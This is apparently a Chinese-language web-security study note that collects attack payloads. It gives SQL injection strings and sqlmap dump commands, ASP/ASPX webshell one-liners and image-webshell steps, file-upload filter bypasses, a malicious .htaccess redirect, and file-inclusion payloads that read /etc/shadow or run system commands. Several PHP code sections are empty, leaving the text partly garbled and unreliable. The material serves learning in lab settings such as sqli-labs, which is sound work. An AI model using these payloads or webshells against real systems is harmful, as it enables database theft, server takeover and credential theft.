网络安全代码合集

SQL注入

联合注入

?id=1'and 1=1-- - 
?id=1'order by 1-- -  
?id=-1'union select 1,2,3-- - 


?id=-1'union select 1,database(),3-- -
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" -- -
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users -- -

布尔盲注

?id=1' and length(database())=8 -- -
?id=1' and length(database())>2 and length(database())<12 -- -


?id=1' and left(database(),1)>'a' and left(database(),1)<'z' -- -
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>11 -- -

SqlMap

"http://192.168.165.98/sqlilabs/Less-5/?id=1"

"http://192.168.165.98/sqlilabs/Less-5/?id=1" --current-db
"http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security --tables
"http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security -T users --columns
"http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security -T users -C "username,password" --dump

时间盲注

?id=1' and sleep(5) -- -

?id=1' and  if(length(database())>=8,sleep(5),1) -- -
?id=1' and  if(length(database())>=8,1,sleep(5)) -- -
?id=1' and  if(ascii(substr(database(),1,1))>115,1,,sleep(5)) -- -

万能密码

' or '1=1'#

变形——' or '1=1 或者' or '1=1' '

二次注入

  • 利用username='admin'# '——使username能闭合变形成为admin账号,然后修改密码
  • 或者username = '' OR '1'='1' ——或者利用闭合,使查询条件恒为真,然后爆出所有用户的账号密码

宽字节注入

?id=1%df and 1=2 -- -

宽字节注入——%df与\在GBK编码下,合成一个汉字,防转义单引号,然后进行联合注入

  • 爆列名,table_name="users"中的"users"使用https://www.107000.com/转换的hex编码
  • 爆账号密码的时候,表名不用处理,在账号密码中间插入hex编码,0x3a

报错注入

updatexml()

id=-1or updatexml(1,concat(0x7e,(select database())),1)

id=-1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

id=-1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli')),1)

id=-1 or updatexml(1,concat(0x7e,(select group_concat(password) from sqli)),1)
extractvalue()

id=-1 or extractvalue(1,concat(0x7e,(select database())))

id=-1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))

id=-1 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli')))

id=-1 or extractvalue(1,concat(0x7e,(select group_concat(password) from sqli)))

bypass绕过

  1. 空格——括号、双写( · · )、注释(#、/**/、--+、-- -)、编码(%09、%0d、%0a、%a0、+
  2. 引号——反引号、双引号、引号整体hex编码
  3. 逗号

    ①盲注中使用 “substr(0,1),”====substr(from 0 for 1)    

    ②limit 2,1 ==== limit 1 offset 2    

    ③union select 1,2,3 ====union select * from (select 1)a join (select 2)b join(select 3)c

  4. 等号——<、>、!=
  5. 注释符——换注释符、使之闭合
  6. 关键字——前后双写(adaddd)、大小写、中间加注释
  7. 等价函数
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()
    hex()、bin() ==> ascii()

and可用like绕过,一般双写都能绕过

文件上传

文件上传

凡是存在上传东西的地方都可能会存在文件上传漏洞

eval()函数用于执行代码层面的命令 ,system————执行系统层面命令

w是获取phpinfo之后连接蚁剑的登录密码

POST 是在消息体存放数据,GET 是在消息头的 URL 路径里存放数据(例如xxx.php?a=2)

一句话木马(Webshell)

标准形式

   ——————也可用@assert 
  ——————echo()函数用于打印,相当于


w=system("dir /C >> 1.txt:"); ——————将目录导入1.txt文件中存放


不同语言编写的网页的一句话木马
—————————————————————————————————————————————————————————————————————————————
php      
asp  <%eval request ("hack")%>     
aspx  <%@ Page Language="Jscript"%> <%eval(Request.Item["hack"],"unsafe");%>
 

变形马

变形马脚本
Ⅰ、create_function()函数


Ⅱ、@call_user_func()函数


Ⅲ、@preg_replace()函数


Ⅳ、file_put_contents()函数
';

file_put_contents("hello.php", $test);

?>

Ⅴ、编码绕过脚本


Ⅵ、拼接绕过


Ⅶ、运算符变形


echo打印出三个变量$_++、$__、$___可以看到他们的值分别为1、_GET、_POST
放入最后一条语句中刚好组成一个两层的一句话木马————————

图片马

1、文本方式或16进制打开图片,在末尾粘贴一句话木马

2、cmd执行copy pic.jpg/b + php木马.php/a webshell.jpg

( /b 表示以二进制方式打开,/a 表示以ASCII方式打开)

然后上传到目标网站,由于图片马不是单纯的php,所以不能直接解析,也不能直接连蚁剑——只有利用文件包含漏洞,才能成功利用该木马

后缀黑名单绕过

  1. 文件名大小写:pHp
  2. 使用php1-9(php1等挨个试一遍,仍要php解析),phtml(它也能被解析)——命名为 .php1.jpg
  3. 上传文件时把后缀名改成png格式,上传时在通过Burp把后缀名改回来
  4. MIME类型欺骗

    上传图片马,抓包,放到repeater修改请求头中Content-Type字段为"image/jpeg",并在 头前面加上GIF89a

  5. 0x00截断绕过
    上传一句话木马,抓包后将.php改为.php%00
    上传图片马,抓包后将.jpg改为.php%00
    上传evil.php.jpg,抓包后改为evil.php0x00jpg
    直接重命名为xxx.php%00.jpg
  6. 双写后缀名:phphpp
  7. 上传.php.abc——校验的是.abc,执行的是.php
  8. 在后缀名中加空格或加(.php.)或加点空格点绕过(. .)绕过(windows会默认去除后缀后的空格和点号,linux不适用
  9. 对Apache服务器上传.htaccess覆盖绕过

最后访问木马的时候访问的是 .php

如果命名的时候不能以 .htaccess 作为文件名,可以先命名为 htaccess.txt或 htaccess.jpg,再抓包修改

按照php解析

#define width 1377
#define height 1377
         FilesMatch作文件匹配的,匹配后按照php进行解析
SetHandler application/x-httpd-php

 
先构造好.htaccess 文件,然后上传123pinfo.jpg 文件,然后再上传.htaccess 文件
再去访问123pinfo.jpg,就可以到达phpinfo页面
.htaccess 文件只要上传到该网站的文件夹即可,先后顺序无所谓

Ⅰ、访问限制绕过脚本


Order Allow,Deny
Deny from all


Ⅱ、修改重写规则

RewriteEngine On
RewriteRule ^(.*)$ http:

//攻击者网站.com/$1 [L,R=301] 
/*L表示如果匹配本规则,那本规则就是最后一条规则忽略后面的内容
rule=301,临时重定向
在后面如果有[NC],则表示“不区分大小写”*/

/*该RewriteRule能够将.htm静态页面重定向到.php动态页面
如果通过.htm进入,浏览器地址栏会自动转为.php,这也是重定向的本质
必须保证服务器上有对应的.php,否则会404*/

文件包含

文件包含

php允许文件间的互相引用,故可在php文件里面使用include,包含的一切均按照php解析,但只能相对路径

  • 能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
  • 如果PHP的配置allow_url_include、allow_url_fopen状态为ON的话,则include/require函数可加载远程文件,这种漏洞被称为远程文件包含(RFI),如 ?file="https://baidu.com/nosery",如果远程包含一句话木马——就可以达到远控的目的

漏洞测试

1、纯黑盒挖掘——看URL的链接,如果里面含有?file=xxxx,极大可能会存在文件包含(在该页面的源码中会存在下列代码)

可以试一下访问一些配置文件,如Linux下的/etc/password(Windows在c盘下也有一些配置文件),在include.php后面加?file=/etc/password去访问一些配置文件。黑盒测试经验很重要,因为漏洞类型不明确,测试漏洞的时候就要结合功能和URL传参去试

2、审计代码
代码确定包含某文件,此时其实是改不了的,看本页包含的文件里面是否含有可控制值,如果传参是GET型,就可以控制该值的传参,要跟踪跳转,去寻找代码逻辑上的缺陷是什么,然后根据缺陷去攻击

限制绕过

  • 有限制的LFI绕过——?action=phpinfo.php%00;./././ 绕过;....... 绕过;伪协议绕过
  • 有限制的LFI绕过——?action=http://192.168.152.123/phpinfo.php?;%23、%20、+、空格abc绕过

伪协议

file:// 访问本地文件系统
http:// 访问 HTTP(s)网址
ftp:// 访问 FTP(s)URLS
php:// 访问各个输入/输出流
zlib:// 压缩流
data:// 数据(RFC2397)
rar://

RAR

1、file://协议

?path=file://c:\windows\system32\drivers\etc\hosts]

加密用法——file=php://filter/covert.base64_encode/resource=

2、php://filter协议————用于读取源码

?path=php://filter/read=convert.base64-encode/resource =文件.php

3、php://input协议————用于执行php代码,流的形式传文件

$data = file_get_contents('php://input');

读取到的数据可以根据请求的 Content-Type 进行解析,如请求的 Content-Type 是 application/json,则可以使用 json_decode() 函数将数据解析为 JSON 格式

4、data://协议————直接执行php代码

?file=data:text/plain,
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= 

5、zip://协议————绝对路径

?file=zip://D:WWW/file.zip%23phpcode.txt
/about.php?f=zip://./images/1499394959.jpg%231.php 

6、phar://协议

?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
/about.php?f=phar://./images/1499394959.jpg/1.php

网络安全代码合集_第1张图片

一些常见的敏感目录信息路径——?filename=C:\boot.ini


Windows系统:

  •     查看系统版本——C:\boot.ini            
  •     MySQL root密码——C:\ProgramFiles\mysql\data\mysql\user.MYD          
  •     php配置信息——C:\windows\php.ini          

Linux/Unix系统:

  •     账户信息——/etc/password
  •     账户密码信息——/etc/shadow
  •     PHP相关配置——/usr/local/app/php5/lib/php.ini
  •     Apache配置文件——/etc/httpd/conf/httpd.conf
  •     mysql配置文件——/etc/my.conf


目标硬盘里有没有目标文件,可以用php函数:opendir()readdir()等等;想上传文件,就用php函数:move_uploaded_file,当然相应的html要写好;你想执行cmd命令,则用exec()

你可能感兴趣的:(web安全,学习,笔记)